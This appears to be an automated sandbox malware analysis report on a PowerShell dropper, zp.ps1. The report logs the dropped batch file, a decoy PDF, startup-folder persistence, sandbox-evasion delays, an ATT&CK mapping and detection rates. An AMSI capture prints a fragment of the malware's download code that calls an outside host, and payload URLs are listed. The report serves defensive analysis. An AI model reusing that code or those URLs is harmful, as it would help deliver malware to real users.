Windows Analysis Report
zp.ps1

Source: C:\Users\Public\iqb3.bat

Code function: 2_2_00403217 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcmpiA,CreateDirectoryA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,

2_2_00403217

Source: C:\Users\Public\iqb3.bat

File created: C:\Windows\resources\0409

Source: C:\Users\Public\iqb3.bat	Code function: 2_2_00404946		2_2_00404946
Source: C:\Users\Public\iqb3.bat	Code function: 2_2_004062B8		2_2_004062B8

Source: C:\Users\Public\iqb3.bat

Process Stats: CPU usage > 98%

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\nsaB4A6.tmp\System.dll 75ED40311875312617D6711BAED0BE29FCAEE71031CA27A8D308A72B15A51E49

Source: zp.ps1

Virustotal: Detection: 18%

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\zp.ps1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\iqb3.bat "C:\Users\Public\iqb3.bat"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\user\Desktop\List of required items and services.pdf
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\iqb3.bat "C:\Users\Public\iqb3.bat"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\user\Desktop\List of required items and services.pdf	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\Public\iqb3.bat

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\iqb3.bat

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_44kl3ld2.v02.ps1

Source: classification engine

Classification label: mal60.winPS1@13/63@3/3

Source: C:\Users\Public\iqb3.bat

Code function: 2_2_00402036 CoCreateInstance,MultiByteToWideChar,

2_2_00402036

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Source: C:\Users\Public\iqb3.bat

Code function: 2_2_0040440A GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

2_2_0040440A

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1584:120:WilError_01

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: C:\Users\Public\iqb3.bat

Code function: 2_2_10002D40 push eax; ret

2_2_10002D6E

Source: C:\Users\Public\iqb3.bat

Code function: 2_2_00406009 GetModuleHandleA,LoadLibraryA,GetProcAddress,

2_2_00406009

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\iqb3.bat

Source: C:\Users\Public\iqb3.bat	File created: C:\Users\user\AppData\Local\Temp\nsaB4A6.tmp\System.dll			Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\iqb3.bat			Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\iqb3.bat

Drops PE files to the user root directory

Boot Survival

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\iqb3.bat

Powershell creates an autostart link

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: .lnk -Name));getit -fz ($fzf + 'List of required items and services.pdf') -oulv 'http://www.bluiblmaxxlasiblr.com/rh/List%20of%20riblquiribld%20itiblms%20and%20siblrvicibls.pdf';exit@{# Script module or binary module file associated with this manifest.ModuleToProcess = 'Pester.psm1'# Version number of this module.ModuleVersion = '3.4.0'# ID used to uniquely identify this moduleGUID = 'a699dea5-2c73-4616-a270-1f7abb777e71'# Author of this moduleAuthor = 'Pester Team'# Company or vendor of this moduleCompanyName = 'Pester'# Copyright statement for this moduleCopyright = 'Copyright (c) 2016 by Pester Team, licensed under Apache 2.0 License.'# Description of the functionality provided by this moduleDescription = 'Pester provides a framework for running BDD style Tests to execute and validate PowerShell commands inside of PowerShell and offers a powerful set of Mocking Functions that allow tests to mimic and mock the functionality of any command inside of a piece of powershell code being tested. Pester tests can execute any command or script that is accesible to a pester test file. This can include functions, Cmdlets, Modules and scripts. Pester can be run in ad hoc style in a console or it can be integrated into the Build scripts of a Continuous Integration system.'# Minimum version of the Windows PowerShell user required by this modulePowerShellVersion = '2.0'# Functions to export from this moduleFunctionsToExport = @( 'Describe', 'Context', 'It', 'Should', 'Mock', 'Assert-MockCalled', 'Assert-VerifiableMocks', 'New-Fixture', 'Get-TestDriveItem', 'Invoke-Pester', 'Setup', 'In', 'InModuleScope', 'Invoke-Mock', 'BeforeEach', 'AfterEach', 'BeforeAll', 'AfterAll' 'Get-MockDynamicParameters', 'Set-DynamicParameterVariables', 'Set-TestInconclusive', 'SafeGetCommand', 'New-PesterOption')# # Cmdlets to export from this module# CmdletsToExport = '*'# Variables to export from this moduleVariablesToExport = @( 'Path', 'TagFilter', 'ExcludeTagFilter', 'TestNameFilter', 'TestResult', 'CurrentContext', 'CurrentDescribe', 'CurrentTest', 'SessionState', 'CommandCoverage', 'BeforeEach', 'AfterEach', 'Strict')# # Aliases to export from this module# AliasesToExport = '*'# List of all modules packaged with this module# ModuleList = @()# List of all files packaged with this module# FileList = @()PrivateData = @{ # PSData is module packaging and gallery metadata embedded in PrivateData # It's for rebuilding PowerShellGet (and PoshCode) NuGet-style packages # We had to do this because it's the only place we're allowed to extend the manifest # https://connect.microsoft.com/PowerShell/feedback/details/421837 PSData = @{ # The primary categorization of this module (from the TechNet Gallery tech tree). Category = "Scripting Techniques" # Keyword tags to help users find this module via navigations and search. Tags = @('powers

Source: C:\Users\Public\iqb3.bat	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Langust			Jump to behavior
Source: C:\Users\Public\iqb3.bat	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Langust\Grade			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\iqb3.bat	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 624

Thread sleep time: -3689348814741908s >= -30000s

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Window / User API: threadDelayed 9691

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Source: C:\Users\Public\iqb3.bat	Code function: 2_2_00405FE2 FindFirstFileA,FindClose,	2_2_00405FE2
Source: C:\Users\Public\iqb3.bat	Code function: 2_2_0040559E CloseHandle,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	2_2_0040559E
Source: C:\Users\Public\iqb3.bat	Code function: 2_2_00402645 FindFirstFileA,	2_2_00402645

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Source: C:\Users\Public\iqb3.bat	API call chain: ExitProcess graph end node			graph_2-4316
Source: C:\Users\Public\iqb3.bat	API call chain: ExitProcess graph end node			graph_2-4480

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior

Source: powershell.exe, 00000000.00000002.620400615.000002D275472000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\Public\iqb3.bat

Code function: 2_2_00406009 GetModuleHandleA,LoadLibraryA,GetProcAddress,

2_2_00406009

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\iqb3.bat "C:\Users\Public\iqb3.bat"			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\user\Desktop\List of required items and services.pdf			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior

Source: C:\Users\Public\iqb3.bat

Code function: 2_2_00405D00 GetVersion,GetSystemDirectoryA,GetWindowsDirectoryA,SHGetSpecialFolderLocation,SHGetPathFromIDListA,CoTaskMemFree,lstrcatA,lstrlenA,

2_2_00405D00

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Native API	11 Registry Run Keys / Startup Folder	11 Process Injection	131 Masquerading	1 Input Capture	1 Security Software Discovery	Remote Services	1 Input Capture	Exfiltration Over Other Network Medium	11 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 System Shutdown/Reboot
Default Accounts	2 PowerShell	Boot or Logon Initialization Scripts	11 Registry Run Keys / Startup Folder	21 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	1 Archive Collected Data	Exfiltration Over Bluetooth	1 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Clipboard Data	Automated Exfiltration	2 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	3 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	1 Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	3 File and Directory Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	13 System Information Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
zp.ps1	11%	ReversingLabs	Win32.Trojan.Generic
zp.ps1	19%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\Public\iqb3.bat	11%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsaB4A6.tmp\System.dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://www.dld.ae/zp/zp.exe	0%	Avira URL Cloud	safe
http://jimmac.musichall.czif	0%	URL Reputation	safe
https://www.dld.ae	0%	Avira URL Cloud	safe
http://www.microsoft.coP	0%	Avira URL Cloud	safe
http://www.bluemaxxlaser.com/rh/List%20of%20required%20items%20and%20services.pdf	0%	Avira URL Cloud	safe
http://www.bluemaxxlaser.comx	0%	Avira URL Cloud	safe
http://www.bluemaxxlaser.com	0%	Avira URL Cloud	safe
http://crl.micrp	0%	Avira URL Cloud	safe
